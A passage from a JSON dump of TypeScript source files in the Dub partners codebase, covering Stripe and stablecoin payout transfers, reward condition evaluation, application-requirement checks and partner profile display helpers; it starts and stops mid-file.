return;\n  }\n\n  const commonInclude: Prisma.PayoutInclude = {\n    program: {\n      select: {\n        name: true,\n        logo: true,\n      },\n    },\n  };\n\n  const [previouslyProcessedPayouts, currentInvoicePayouts] = await Promise.all(\n    [\n      prisma.payout.findMany({\n        where: {\n          partnerId: partner.id,\n          status: \"processed\",\n          stripePayoutId: null,\n          method: {\n            in: [PartnerPayoutMethod.stablecoin, PartnerPayoutMethod.connect],\n          },\n        },\n        orderBy: {\n          id: \"asc\",\n        },\n        include: commonInclude,\n      }),\n\n      invoiceId\n        ? prisma.payout.findMany({\n            where: {\n              partnerId: partner.id,\n              status: \"processing\",\n              stripePayoutId: null,\n              method: \"stablecoin\",\n              invoiceId,\n            },\n            orderBy: {\n              id: \"asc\",\n            },\n            include: commonInclude,\n          })\n        : Promise.resolve([]),\n    ],\n  );\n\n  if (forceWithdrawal && previouslyProcessedPayouts.length === 0) {\n    throw new Error(\n      \"No previously processed payouts found. Please try again or contact support.\",\n    );\n  }\n\n  const allPayouts = [...previouslyProcessedPayouts, ...currentInvoicePayouts];\n\n  if (allPayouts.length === 0) {\n    console.warn(`No available payouts found for partner ${partner.email}.`);\n    return;\n  }\n\n  const idempotencyKey = createPayoutsIdempotencyKey({\n    partnerId: partner.id,\n    invoiceId,\n    payoutIds: allPayouts.map((p) => p.id),\n  });\n\n  let totalTransferableAmount = allPayouts.reduce(\n    (acc, payout) => acc + payout.amount,\n    0,\n  );\n\n  if (totalTransferableAmount < MIN_FORCE_WITHDRAWAL_AMOUNT_CENTS) {\n    throw new Error(\n      `Total transferable amount (${currencyFormatter(totalTransferableAmount)}) for partner ${partner.email} is less than the minimum amount required for withdrawal (${currencyFormatter(MIN_FORCE_WITHDRAWAL_AMOUNT_CENTS)}). Skipping...`,\n    );\n  }\n\n  let withdrawalFee = 0;\n\n  // If the total transferable amount is less than the minimum withdrawal amount\n  if (totalTransferableAmount < MIN_WITHDRAWAL_AMOUNT_CENTS) {\n    // if we're forcing a withdrawal, we need to charge a withdrawal fee\n    if (forceWithdrawal) {\n      withdrawalFee = BELOW_MIN_WITHDRAWAL_FEE_CENTS;\n      // else, we will just update current invoice payouts to \"processed\" status\n    } else {\n      await markPayoutsAsProcessed(currentInvoicePayouts);\n\n      console.log(\n        `Total processed payouts (${currencyFormatter(totalTransferableAmount)}) for partner ${partner.id} are below ${currencyFormatter(MIN_WITHDRAWAL_AMOUNT_CENTS)}, skipping...`,\n      );\n\n      return;\n    }\n  }\n\n  // remove the stablecoin payout fee (0.5%) and withdrawal fee (if applicable) from the total amount\n  totalTransferableAmount -=\n    totalTransferableAmount * STABLECOIN_PAYOUT_FEE_RATE + withdrawalFee;\n\n  // Round down to the nearest integer\n  totalTransferableAmount = Math.floor(totalTransferableAmount);\n\n  const stripeRecipientAccount = await getStripeRecipientAccount(\n    partner.stripeRecipientId,\n  );\n\n  // Stripe recipient account is closed\n  if (stripeRecipientAccount.closed) {\n    await prisma.partner.update({\n      where: {\n        id: partner.id,\n      },\n      data: {\n        stripeRecipientId: null,\n        payoutsEnabledAt: null,\n      },\n    });\n\n    await markPayoutsAsProcessed(currentInvoicePayouts);\n\n    console.warn(\n      `Stripe recipient account for partner ${partner.email} is closed.`,\n    );\n    return;\n  }\n\n  // Stripe recipient account does not have crypto wallet capabilities\n  if (\n    stripeRecipientAccount.configuration?.recipient?.capabilities\n      ?.crypto_wallets?.status !== \"active\"\n  ) {\n    await prisma.partner.update({\n      where: {\n        id: partner.id,\n      },\n      data: {\n        payoutsEnabledAt: null,\n      },\n    });\n\n    await markPayoutsAsProcessed(currentInvoicePayouts);\n\n    throw new Error(\n      `Stripe recipient account for partner ${partner.email} does not have crypto wallet capabilities.`,\n    );\n  }\n\n  const allPayoutsProgramNames = [\n    ...new Set(allPayouts.map((p) => p.program.name)),\n  ];\n\n  // Transfer the total of previously processed payouts to Dub's FA\n  const amountToTransferToFA = previouslyProcessedPayouts.reduce(\n    (acc, payout) => acc + payout.amount,\n    0,\n  );\n\n  if (amountToTransferToFA > 0) {\n    await fundFinancialAccount({\n      amount: amountToTransferToFA,\n      idempotencyKey,\n    });\n  }\n\n  const outboundPayment = await createStripeOutboundPayment({\n    stripeRecipientId: partner.stripeRecipientId,\n    amount: totalTransferableAmount,\n    description: `Dub Partners payout (${allPayoutsProgramNames.join(\", \")})`,\n    idempotencyKey,\n  });\n\n  if (!outboundPayment.id) {\n    console.error(\n      `Failed to create outbound payment for partner ${partner.email}.`,\n    );\n    return;\n  }\n\n  await prisma.$transaction([\n    prisma.payout.updateMany({\n      where: {\n        id: {\n          in: allPayouts.map((p) => p.id),\n        },\n      },\n      data: {\n        stripePayoutId: outboundPayment.id,\n        status: \"sent\",\n        paidAt: new Date(),\n        method: \"stablecoin\",\n      },\n    }),\n\n    prisma.commission.updateMany({\n      where: {\n        payoutId: {\n          in: allPayouts.map((p) => p.id),\n        },\n      },\n      data: {\n        status: \"paid\",\n      },\n    }),\n  ]);\n\n  if (!partner.email) {\n    console.warn(\n      `Partner ${partner.email} does not have an email address to send the payout email to.`,\n    );\n    return;\n  }\n\n  const firstPayout = allPayouts[0];\n\n  const emailResponse = await sendEmail({\n    variant: \"notifications\",\n    to: partner.email,\n    subject: forceWithdrawal\n      ? `A withdrawal of ${currencyFormatter(amountToTransferToFA)} has been initiated from your Dub account`\n      : `You've received a ${currencyFormatter(firstPayout.amount)} payout from ${firstPayout.program.name}`,\n    react: forceWithdrawal\n      ? PartnerPayoutForceWithdrawal({\n          email: partner.email,\n          payout: {\n            amount: amountToTransferToFA,\n            method: \"stablecoin\",\n          },\n        })\n      : PartnerPayoutProcessed({\n          email: partner.email,\n          program: firstPayout.program,\n          payout: firstPayout,\n        }),\n  });\n\n  console.log(\n    `Payout processed email sent to partner ${partner.email}:`,\n    prettyPrint(emailResponse),\n  );\n};\n"
  },
  {
    "path": "apps/web/lib/partners/create-stripe-transfer.ts",
    "content": "import {\n  BELOW_MIN_WITHDRAWAL_FEE_CENTS,\n  MIN_FORCE_WITHDRAWAL_AMOUNT_CENTS,\n  MIN_WITHDRAWAL_AMOUNT_CENTS,\n} from \"@/lib/constants/payouts\";\nimport { stripe } from \"@/lib/stripe\";\nimport { sendEmail } from \"@dub/email\";\nimport PartnerPayoutForceWithdrawal from \"@dub/email/templates/partner-payout-force-withdrawal\";\nimport PartnerPayoutProcessed from \"@dub/email/templates/partner-payout-processed\";\nimport { prisma } from \"@dub/prisma\";\nimport { Prisma } from \"@dub/prisma/client\";\nimport { currencyFormatter, pluralize } from \"@dub/utils\";\nimport { createPayoutsIdempotencyKey } from \"../payouts/create-payouts-idempotency-key\";\nimport { markPayoutsAsProcessed } from \"../payouts/mark-payouts-as-processed\";\n\nexport const createStripeTransfer = async ({\n  partnerId,\n  invoiceId,\n  chargeId,\n  forceWithdrawal = false,\n}: {\n  partnerId: string;\n  invoiceId?: string;\n  chargeId?: string;\n  forceWithdrawal?: boolean;\n}) => {\n  const partner = await prisma.partner.findUniqueOrThrow({\n    where: {\n      id: partnerId,\n    },\n    select: {\n      id: true,\n      email: true,\n      stripeConnectId: true,\n      payoutsEnabledAt: true,\n    },\n  });\n\n  // should never happen, but just in case\n  if (!partner.stripeConnectId || !partner.payoutsEnabledAt) {\n    throw new Error(\n      `Partner ${partner.email} does not have an active payout account`,\n    );\n  }\n\n  const commonInclude: Prisma.PayoutInclude = {\n    program: {\n      select: {\n        name: true,\n        logo: true,\n      },\n    },\n  };\n\n  const [previouslyProcessedPayouts, currentInvoicePayouts] = await Promise.all(\n    [\n      prisma.payout.findMany({\n        where: {\n          partnerId: partner.id,\n          status: \"processed\",\n          stripeTransferId: null,\n          method: \"connect\",\n        },\n        orderBy: {\n          id: \"asc\",\n        },\n        include: commonInclude,\n      }),\n      prisma.payout.findMany({\n        where: {\n          partnerId: partner.id,\n          invoiceId,\n          status: \"processing\",\n          method: \"connect\",\n        },\n        orderBy: {\n          id: \"asc\",\n        },\n        include: commonInclude,\n      }),\n    ],\n  );\n\n  const allPayouts = [...previouslyProcessedPayouts, ...currentInvoicePayouts];\n\n  // this should never happen but just in case\n  if (allPayouts.length === 0) {\n    console.log(\n      `No available payouts found for partner ${partner.email}, skipping...`,\n    );\n    return;\n  }\n\n  // total transferable amount is the sum of all previously processed payouts (but not sent yet) and the current invoice payouts\n  const totalTransferableAmount = allPayouts.reduce(\n    (acc, payout) => acc + payout.amount,\n    0,\n  );\n\n  if (totalTransferableAmount < MIN_FORCE_WITHDRAWAL_AMOUNT_CENTS) {\n    throw new Error(\n      `Total transferable amount (${currencyFormatter(totalTransferableAmount)}) for partner ${partner.email} is less than the minimum amount required for withdrawal (${currencyFormatter(MIN_FORCE_WITHDRAWAL_AMOUNT_CENTS)}). Skipping...`,\n    );\n  }\n\n  let withdrawalFee = 0;\n\n  // If the total transferable amount is less than the minimum withdrawal amount\n  if (totalTransferableAmount < MIN_WITHDRAWAL_AMOUNT_CENTS) {\n    // if we're forcing a withdrawal, we need to charge a withdrawal fee\n    if (forceWithdrawal) {\n      withdrawalFee = BELOW_MIN_WITHDRAWAL_FEE_CENTS;\n      // else, we will just update current invoice payouts to \"processed\" status\n    } else {\n      await markPayoutsAsProcessed(currentInvoicePayouts);\n\n      console.log(\n        `Total processed payouts (${currencyFormatter(totalTransferableAmount)}) for partner ${partner.id} are below ${currencyFormatter(MIN_WITHDRAWAL_AMOUNT_CENTS)}, skipping...`,\n      );\n\n      // skip creating a transfer\n      return;\n    }\n  }\n\n  // Minus the withdrawal fee from the total amount\n  const finalTransferableAmount = totalTransferableAmount - withdrawalFee;\n\n  const allPayoutsProgramNames = [\n    ...new Set(allPayouts.map((p) => p.program.name)), // deduplicate program names\n  ];\n\n  const stripeConnectAccount = await stripe.accounts.retrieve(\n    partner.stripeConnectId,\n  );\n\n  if (\n    !stripeConnectAccount.payouts_enabled ||\n    !stripeConnectAccount.capabilities?.transfers ||\n    stripeConnectAccount.capabilities.transfers === \"inactive\"\n  ) {\n    await prisma.partner.update({\n      where: {\n        id: partner.id,\n      },\n      data: {\n        payoutsEnabledAt: null,\n      },\n    });\n    console.log(`Updated partner ${partner.email} with payoutsEnabledAt null`);\n\n    await markPayoutsAsProcessed(currentInvoicePayouts);\n\n    throw new Error(\n      `Partner's Stripe Express account (${partner.stripeConnectId}) is not configured to receive transfers`,\n    );\n  }\n\n  // will be used for transfer_group\n  const finalPayoutInvoiceId = allPayouts[allPayouts.length - 1].invoiceId;\n\n  const idempotencyKey = createPayoutsIdempotencyKey({\n    partnerId: partner.id,\n    invoiceId,\n    payoutIds: allPayouts.map((p) => p.id),\n  });\n\n  // Create a transfer for the partner combined payouts and update it as sent\n  const transfer = await stripe.transfers.create(\n    {\n      amount: finalTransferableAmount,\n      currency: \"usd\",\n      // here, `transfer_group` technically only used to associate the transfer with the invoice\n      // (even though the transfer could technically include payouts from multiple invoices)\n      transfer_group: finalPayoutInvoiceId!,\n      destination: partner.stripeConnectId,\n      description: `Dub Partners payout transfer (${allPayoutsProgramNames.join(\", \")})`,\n      // Omit `source_transaction` if prior processed payouts exist to ensure this transfer\n      // never exceeds the original charge amount.\n      ...(previouslyProcessedPayouts.length === 0 &&\n        chargeId && {\n          source_transaction: chargeId,\n        }),\n    },\n    {\n      idempotencyKey,\n    },\n  );\n\n  console.log(\n    `Transfer of ${currencyFormatter(finalTransferableAmount)} (${transfer.id}) created for partner ${partner.id} for ${pluralize(\n      \"payout\",\n      allPayouts.length,\n    )} ${allPayouts.map((p) => p.id).join(\", \")}`,\n  );\n\n  await Promise.allSettled([\n    prisma.payout.updateMany({\n      where: {\n        id: {\n          in: allPayouts.map((p) => p.id),\n        },\n      },\n      data: {\n        stripeTransferId: transfer.id,\n        status: \"sent\",\n        paidAt: new Date(),\n        method: \"connect\",\n      },\n    }),\n\n    prisma.commission.updateMany({\n      where: {\n        payoutId: {\n          in: allPayouts.map((p) => p.id),\n        },\n      },\n      data: {\n        status: \"paid\",\n      },\n    }),\n  ]);\n\n  if (partner.email) {\n    const payout = currentInvoicePayouts[0];\n    const emailRes = await sendEmail({\n      variant: \"notifications\",\n      to: partner.email,\n      subject: forceWithdrawal\n        ? `A withdrawal of ${currencyFormatter(totalTransferableAmount)} has been initiated from your Dub account`\n        : `You've received a ${currencyFormatter(payout.amount)} payout from ${payout.program.name}`,\n      react: forceWithdrawal\n        ? PartnerPayoutForceWithdrawal({\n            email: partner.email,\n            payout: {\n              amount: totalTransferableAmount,\n              method: \"connect\",\n            },\n          })\n        : PartnerPayoutProcessed({\n            email: partner.email,\n            program: payout.program,\n            payout,\n          }),\n    });\n\n    console.log(`Resend email sent: ${JSON.stringify(emailRes, null, 2)}`);\n  }\n\n  return transfer;\n};\n"
  },
  {
    "path": "apps/web/lib/partners/cutoff-period.ts",
    "content": "import {\n  endOfDay,\n  endOfMonth,\n  endOfQuarter,\n  endOfYear,\n  subMonths,\n  subQuarters,\n  subYears,\n} from \"date-fns\";\nimport * as z from \"zod/v4\";\n\nexport const CUTOFF_PERIOD = [\n  {\n    id: \"today\",\n    label: \"Today\",\n    value: endOfDay(new Date()),\n  },\n  {\n    id: \"lastMonth\",\n    label: \"Last Month\",\n    value: endOfMonth(subMonths(new Date(), 1)),\n  },\n  {\n    id: \"twoMonthsAgo\",\n    label: \"Two Months Ago\",\n    value: endOfMonth(subMonths(new Date(), 2)),\n  },\n  {\n    id: \"lastQuarter\",\n    label: \"Last Quarter\",\n    value: endOfQuarter(subQuarters(new Date(), 1)),\n  },\n  {\n    id: \"lastYear\",\n    label: \"Last Year\",\n    value: endOfYear(subYears(new Date(), 1)),\n  },\n];\n\nexport const CUTOFF_PERIOD_ENUM = z\n  .enum(CUTOFF_PERIOD.map((c) => c.id) as [string, ...string[]])\n  .optional()\n  // no need to pass cutoff period if it's today\n  .transform((value) => (value === \"today\" ? undefined : value));\n\nexport type CUTOFF_PERIOD_TYPES = z.infer<typeof CUTOFF_PERIOD_ENUM>;\n"
  },
  {
    "path": "apps/web/lib/partners/determine-partner-reward.ts",
    "content": "import { EventType, Link, Prisma, Reward } from \"@dub/prisma/client\";\nimport { toCentsNumber } from \"@dub/utils\";\nimport { serializeReward } from \"../api/partners/serialize-reward\";\nimport { RewardContext } from \"../types\";\nimport {\n  rewardConditionsArraySchema,\n  RewardSchema,\n} from \"../zod/schemas/rewards\";\nimport { aggregatePartnerLinksStats } from \"./aggregate-partner-links-stats\";\nimport { evaluateRewardConditions } from \"./evaluate-reward-conditions\";\nimport { getRewardAmount } from \"./get-reward-amount\";\n\nconst REWARD_EVENT_COLUMN_MAPPING = {\n  [EventType.click]: \"clickReward\",\n  [EventType.lead]: \"leadReward\",\n  [EventType.sale]: \"saleReward\",\n};\n\ninterface ProgramEnrollmentWithReward {\n  partner: { country: string | null };\n  links: Link[] | null;\n  totalCommissions: number | bigint;\n  clickReward?: Reward | null;\n  leadReward?: Reward | null;\n  saleReward?: Reward | null;\n}\n\nexport const determinePartnerReward = ({\n  event,\n  programEnrollment,\n  context,\n}: {\n  event: EventType;\n  programEnrollment: ProgramEnrollmentWithReward;\n  context?: RewardContext; // additional reward context (e.g. customer.country, sale.productId, etc.)\n}) => {\n  let partnerReward: Reward =\n    programEnrollment[REWARD_EVENT_COLUMN_MAPPING[event]];\n\n  if (!partnerReward) {\n    return null;\n  }\n\n  // Add the links metrics to the context\n  const partnerLinksStats = aggregatePartnerLinksStats(programEnrollment.links);\n\n  context = {\n    ...context,\n    partner: {\n      ...context?.partner,\n      ...partnerLinksStats,\n      totalCommissions: toCentsNumber(programEnrollment.totalCommissions),\n      country: programEnrollment.partner?.country,\n    },\n  };\n\n  if (partnerReward.modifiers && context) {\n    const modifiers = rewardConditionsArraySchema.safeParse(\n      partnerReward.modifiers,\n    );\n\n    // Parse the conditions before evaluating them\n    if (modifiers.success) {\n      const matchedCondition = evaluateRewardConditions({\n        conditions: modifiers.data,\n        context,\n      });\n\n      if (matchedCondition) {\n        partnerReward = {\n          ...partnerReward,\n          // Override the reward amount, type and max duration with the matched condition\n          type: matchedCondition.type || partnerReward.type,\n          amountInCents:\n            matchedCondition.amountInCents != null\n              ? matchedCondition.amountInCents\n              : null,\n          amountInPercentage:\n            matchedCondition.amountInPercentage != null\n              ? new Prisma.Decimal(matchedCondition.amountInPercentage)\n              : null,\n          maxDuration:\n            matchedCondition.maxDuration !== undefined\n              ? matchedCondition.maxDuration\n              : partnerReward.maxDuration,\n        };\n      }\n    }\n  }\n\n  const amount = getRewardAmount(serializeReward(partnerReward));\n\n  if (amount === 0) {\n    return null;\n  }\n\n  return RewardSchema.parse(partnerReward);\n};\n"
  },
  {
    "path": "apps/web/lib/partners/evaluate-application-requirements.ts",
    "content": "import { EligibilityConditionDB } from \"../types\";\nimport { applicationRequirementsSchema } from \"../zod/schemas/programs\";\n\ninterface Context {\n  country?: string | null;\n  email?: string | null;\n}\n\ninterface Result {\n  valid: boolean;\n  reason:\n    | \"invalidRequirements\"\n    | \"noRequirements\"\n    | \"requirementsMet\"\n    | \"requirementsNotMet\";\n}\n\n// valid: @domain.com, @*.edu, @*.acme.com, @sub.domain.co.uk\n// wildcard: @*.<optional-segments.>tld  e.g. @*.edu, @*.acme.com\n// exact:    @<segment.>+tld             e.g. @acme.com, @mail.acme.com\nconst DOMAIN_PATTERN =\n  /^@(\\*\\.([a-z0-9][a-z0-9-]*\\.)*[a-z]{2,}|[a-z0-9][a-z0-9-]*(\\.[a-z0-9][a-z0-9-]*)*\\.[a-z]{2,})$/i;\n\nexport function isValidDomainPattern(v: string): boolean {\n  return DOMAIN_PATTERN.test(v.trim());\n}\n\nfunction getEmailDomain(email: string): string {\n  const parts = email.split(\"@\");\n  return parts.length === 2 ? `@${parts[1].toLowerCase()}` : \"\";\n}\n\nfunction emailMatchesPattern(email: string, pattern: string): boolean {\n  const domain = getEmailDomain(email);\n  if (!domain) return false;\n\n  if (pattern.startsWith(\"@*\")) {\n    const suffix = pattern.slice(2);\n    return domain.endsWith(suffix);\n  }\n\n  return domain === pattern;\n}\n\nexport function evaluateApplicationRequirements({\n  applicationRequirements,\n  context,\n}: {\n  applicationRequirements: unknown;\n  context: Context;\n}): Result {\n  if (applicationRequirements == null) {\n    return {\n      valid: true,\n      reason: \"noRequirements\",\n    };\n  }\n\n  const parsed = applicationRequirementsSchema.safeParse(\n    applicationRequirements,\n  );\n\n  if (!parsed.success) {\n    return {\n      valid: false,\n      reason: \"invalidRequirements\",\n    };\n  }\n\n  const requirements = parsed.data;\n\n  if (!requirements?.length) {\n    return {\n      valid: true,\n      reason: \"noRequirements\",\n    };\n  }\n\n  const allMet = requirements.every((condition) =>\n    evaluateCondition({\n      condition,\n      context,\n    }),\n  );\n\n  return {\n    valid: allMet,\n    reason: allMet ? \"requirementsMet\" : \"requirementsNotMet\",\n  };\n}\n\nexport function evaluateCondition({\n  condition,\n  context,\n}: {\n  condition: EligibilityConditionDB;\n  context: Context;\n}): boolean {\n  if (!context) {\n    return false;\n  }\n\n  let matches = false;\n\n  switch (condition.key) {\n    case \"country\": {\n      if (!context.country) {\n        return false;\n      }\n\n      matches = condition.value.includes(context.country);\n\n      break;\n    }\n\n    case \"emailDomain\": {\n      if (!context.email) {\n        return false;\n      }\n\n      matches = condition.value.some((pattern) =>\n        emailMatchesPattern(context.email!, pattern),\n      );\n\n      break;\n    }\n\n    default:\n      return false;\n  }\n\n  return condition.operator === \"is\" ? matches : !matches;\n}\n"
  },
  {
    "path": "apps/web/lib/partners/evaluate-reward-conditions.ts",
    "content": "import {\n  RewardCondition,\n  RewardConditions,\n  RewardConditionsArray,\n  RewardContext,\n} from \"../types\";\nimport { getRewardAmount } from \"./get-reward-amount\";\n\nexport const evaluateRewardConditions = ({\n  conditions,\n  context,\n}: {\n  conditions: RewardConditionsArray;\n  context: RewardContext;\n}) => {\n  if (!conditions || !context) {\n    return null;\n  }\n\n  const matchingConditions: RewardConditions[] = [];\n\n  for (const conditionGroup of conditions) {\n    // Evaluate each condition in the group\n    const conditionResults = conditionGroup.conditions.map((condition) => {\n      let fieldValue = undefined;\n\n      if (condition.entity === \"customer\") {\n        fieldValue = context.customer?.[condition.attribute];\n      } else if (condition.entity === \"sale\") {\n        fieldValue = context.sale?.[condition.attribute];\n      } else if (condition.entity === \"partner\") {\n        fieldValue = context.partner?.[condition.attribute];\n      }\n\n      if (fieldValue === undefined) {\n        return false;\n      }\n\n      return evaluateCondition({\n        condition,\n        fieldValue,\n      });\n    });\n\n    // Apply the operator logic to the condition results\n    let conditionsMet = false;\n    if (conditionGroup.operator === \"AND\") {\n      conditionsMet = conditionResults.every((result) => result);\n    } else if (conditionGroup.operator === \"OR\") {\n      conditionsMet = conditionResults.some((result) => result);\n    }\n\n    if (conditionsMet) {\n      matchingConditions.push(conditionGroup);\n    }\n  }\n\n  if (matchingConditions.length === 0) {\n    return null;\n  }\n\n  // Find the best matching condition (highest amount)\n  return matchingConditions.sort(\n    (a, b) =>\n      getRewardAmount({\n        type: b.type!,\n        amountInCents: b.amountInCents,\n        amountInPercentage: b.amountInPercentage,\n      }) -\n      getRewardAmount({\n        type: a.type!,\n        amountInCents: a.amountInCents,\n        amountInPercentage: a.amountInPercentage,\n      }),\n  )[0];\n};\n\nconst evaluateCondition = ({\n  condition,\n  fieldValue,\n}: {\n  condition: RewardCondition;\n  fieldValue: string | number | string[] | number[];\n}) => {\n  switch (condition.operator) {\n    case \"equals_to\":\n      return fieldValue === condition.value;\n    case \"not_equals\":\n      return fieldValue !== condition.value;\n    case \"starts_with\":\n      if (\n        typeof fieldValue === \"string\" &&\n        typeof condition.value === \"string\"\n      ) {\n        return fieldValue.startsWith(condition.value);\n      }\n      return false;\n    case \"ends_with\":\n      if (\n        typeof fieldValue === \"string\" &&\n        typeof condition.value === \"string\"\n      ) {\n        return fieldValue.endsWith(condition.value);\n      }\n      return false;\n    case \"in\":\n      if (Array.isArray(condition.value)) {\n        return (condition.value as (string | number)[]).includes(\n          fieldValue as string | number,\n        );\n      }\n      return false;\n    case \"not_in\":\n      if (Array.isArray(condition.value)) {\n        return !(condition.value as (string | number)[]).includes(\n          fieldValue as string | number,\n        );\n      }\n      return true;\n    case \"greater_than\":\n      return Number(fieldValue) > Number(condition.value);\n    case \"greater_than_or_equal\":\n      return Number(fieldValue) >= Number(condition.value);\n    case \"less_than\":\n      return Number(fieldValue) < Number(condition.value);\n    case \"less_than_or_equal\":\n      return Number(fieldValue) <= Number(condition.value);\n    default:\n      return false;\n  }\n};\n"
  },
  {
    "path": "apps/web/lib/partners/format-application-form-data.ts",
    "content": "import { ProgramApplicationFormDataWithValues } from \"@/lib/types\";\nimport { ProgramApplication } from \"@dub/prisma/client\";\n\nexport interface FormDataKeyValue {\n  title: string;\n  value: string;\n  images?: string[];\n}\n\nexport const formatApplicationFormData = (\n  application: ProgramApplication,\n): FormDataKeyValue[] => {\n  const formData =\n    application?.formData as ProgramApplicationFormDataWithValues;\n\n  return (formData?.fields ?? [])\n    .map((field) => {\n      switch (field.type) {\n        case \"short-text\":\n          return {\n            title: field.label,\n            value: field.value,\n          };\n        case \"long-text\":\n          return {\n            title: field.label,\n            value: field.value,\n          };\n        case \"select\":\n          return {\n            title: field.label,\n            value: field.value,\n          };\n        case \"multiple-choice\":\n          let value;\n\n          if (field.data.multiple) {\n            value = Array.isArray(field.value)\n              ? field.value.join(\", \")\n              : field.value;\n          } else {\n            value = field.value;\n          }\n\n          return {\n            title: field.label,\n            value,\n          };\n        case \"image-upload\":\n          return {\n            title: field.label,\n            value: \"\",\n            images: Array.isArray(field.value) ? field.value : [],\n          };\n        case \"website-and-socials\":\n          return null;\n      }\n    })\n    .filter((v) => !!v) as FormDataKeyValue[];\n};\n\nexport const formatWebsiteAndSocialsFields = (\n  application: ProgramApplication,\n) => {\n  const formData =\n    application?.formData as ProgramApplicationFormDataWithValues;\n\n  const result: Record<string, string | null> = {};\n\n  (formData?.fields ?? []).forEach((field) => {\n    if (field.type === \"website-and-socials\") {\n      field.data.forEach((item) => {\n        result[item.type] = item.value !== \"\" ? item.value : null;\n      });\n    }\n  });\n\n  return result;\n};\n"
  },
  {
    "path": "apps/web/lib/partners/get-group-rewards-and-discount.ts",
    "content": "import { GroupProps, RewardProps } from \"@/lib/types\";\n\n// Determines the rewards and discount for the partner group\nexport function getGroupRewardsAndDiscount({\n  clickReward,\n  saleReward,\n  leadReward,\n  discount,\n}: Pick<GroupProps, \"clickReward\" | \"saleReward\" | \"leadReward\" | \"discount\">) {\n  const rewards = [clickReward, saleReward, leadReward].filter(\n    (r): r is RewardProps => r !== null,\n  );\n\n  return {\n    rewards,\n    discount: discount ?? null,\n  };\n}\n"
  },
  {
    "path": "apps/web/lib/partners/get-link-structure-options.ts",
    "content": "\"use client\";\n\nimport { PartnerLinkStructure } from \"@dub/prisma/client\";\nimport { getDomainWithoutWWW } from \"@dub/utils\";\n\nexport const getLinkStructureOptions = ({\n  domain,\n  url,\n}: {\n  domain?: string | null;\n  url?: string | null;\n}) => {\n  const shortDomain = domain || \"refer.dub.co\";\n  const websiteDomain = (url && getDomainWithoutWWW(url)) || \"dub.co\";\n\n  return [\n    {\n      id: PartnerLinkStructure.short,\n      label: \"Short Link\",\n      example: `${shortDomain}/{partner-link-key}`,\n      recommended: true,\n    },\n    {\n      id: PartnerLinkStructure.query,\n      label: \"Query Parameter\",\n      example: `${websiteDomain}?via={partner-link-key}`,\n    },\n    // {\n    //   id: PartnerLinkStructure.path,\n    //   label: \"Dynamic path\",\n    //   example: `${websiteDomain}/refer/{partner-link-key}`,\n    // },\n  ];\n};\n"
  },
  {
    "path": "apps/web/lib/partners/get-partner-bank-account.ts",
    "content": "import { stripe } from \"@/lib/stripe\";\nimport Stripe from \"stripe\";\nimport * as z from \"zod/v4\";\n\nexport const bankAccountSchema = z\n  .object({\n    account_holder_name: z.string().nullable(),\n    bank_name: z.string().nullable(),\n    routing_number: z.string().nullable(),\n    last4: z.string(),\n    status: z.enum([\n      \"new\",\n      \"validated\",\n      \"verified\",\n      \"verification_failed\",\n      \"tokenized_account_number_deactivated\",\n      \"errored\",\n    ]),\n    fingerprint: z.string().nullish(),\n  })\n  .nullable();\n\nexport const getPartnerBankAccount = async (stripeAccount: string) => {\n  const externalAccounts = (await stripe.accounts.listExternalAccounts(\n    stripeAccount,\n    {\n      object: \"bank_account\",\n    },\n  )) as Stripe.ApiList<Stripe.BankAccount>;\n\n  return externalAccounts.data.length > 0\n    ? bankAccountSchema.parse(externalAccounts.data[0])\n    : null;\n};\n"
  },
  {
    "path": "apps/web/lib/partners/get-payout-methods-for-country.ts",
    "content": "import { PartnerPayoutMethod } from \"@dub/prisma/client\";\nimport {\n  CONNECT_SUPPORTED_COUNTRIES,\n  PAYPAL_SUPPORTED_COUNTRIES,\n  STABLECOIN_SUPPORTED_COUNTRIES,\n} from \"@dub/utils\";\n\nexport function getPayoutMethodsForCountry({\n  country,\n}: {\n  country: string | null | undefined;\n}) {\n  if (!country) {\n    return [];\n  }\n\n  const methods: PartnerPayoutMethod[] = [];\n\n  if (STABLECOIN_SUPPORTED_COUNTRIES.includes(country)) {\n    methods.push(\"stablecoin\");\n  }\n\n  if (CONNECT_SUPPORTED_COUNTRIES.includes(country)) {\n    methods.push(\"connect\");\n  }\n\n  if (PAYPAL_SUPPORTED_COUNTRIES.includes(country)) {\n    methods.push(\"paypal\");\n  }\n\n  return methods;\n}\n"
  },
  {
    "path": "apps/web/lib/partners/get-reward-amount.ts",
    "content": "import { RewardProps } from \"../types\";\n\nexport const getRewardAmount = ({\n  type,\n  amountInCents,\n  amountInPercentage,\n}: Pick<RewardProps, \"type\" | \"amountInCents\" | \"amountInPercentage\">) => {\n  const amount = type === \"flat\" ? amountInCents : amountInPercentage;\n\n  return amount === null || amount === undefined ? 0 : amount;\n};\n"
  },
  {
    "path": "apps/web/lib/partners/partner-platforms.ts",
    "content": "import type { Icon } from \"@dub/ui/icons\";\nimport {\n  Globe,\n  Instagram,\n  LinkedIn,\n  TikTok,\n  Twitter,\n  YouTube,\n} from \"@dub/ui/icons\";\nimport { getPrettyUrl, nFormatter } from \"@dub/utils\";\nimport { PartnerPlatformProps } from \"../types\";\n\nexport const PARTNER_PLATFORM_FIELDS: {\n  label: string;\n  icon: Icon;\n  data: (platforms: PartnerPlatformProps[]) => {\n    value?: string | null;\n    verified: boolean;\n    href?: string | null;\n    info?: string[];\n  };\n}[] = [\n  {\n    label: \"Website\",\n    icon: Globe,\n    data: (platforms) => {\n      const website = platforms.find((p) => p.type === \"website\");\n\n      return {\n        value: website ? getPrettyUrl(website.identifier) : null,\n        verified: !!website?.verifiedAt,\n        href: website?.identifier,\n      };\n    },\n  },\n  {\n    label: \"YouTube\",\n    icon: YouTube,\n    data: (platforms) => {\n      const youtube = platforms.find((p) => p.type === \"youtube\");\n\n      return {\n        value: youtube?.identifier ? `@${youtube.identifier}` : null,\n        verified: !!youtube?.verifiedAt,\n        href: youtube?.identifier\n          ? `https://youtube.com/@${youtube.identifier}`\n          : null,\n        info: [\n          youtube?.subscribers && youtube?.verifiedAt\n            ? `${nFormatter(Number(youtube.subscribers))} subscribers`\n            : null,\n          youtube?.views && youtube?.verifiedAt\n            ? `${nFormatter(Number(youtube.views))} views`\n            : null,\n        ].filter(Boolean),\n      };\n    },\n  },\n  {\n    label: \"X/Twitter\",\n    icon: Twitter,\n    data: (platforms) => {\n      const twitter = platforms.find((p) => p.type === \"twitter\");\n\n      return {\n        value: twitter ? `@${twitter.identifier}` : null,\n        verified: !!twitter?.verifiedAt,\n        href: twitter?.identifier\n          ? `https://x.com/${twitter.identifier}`\n          : null,\n        info: [\n          twitter?.subscribers && twitter?.verifiedAt\n            ? 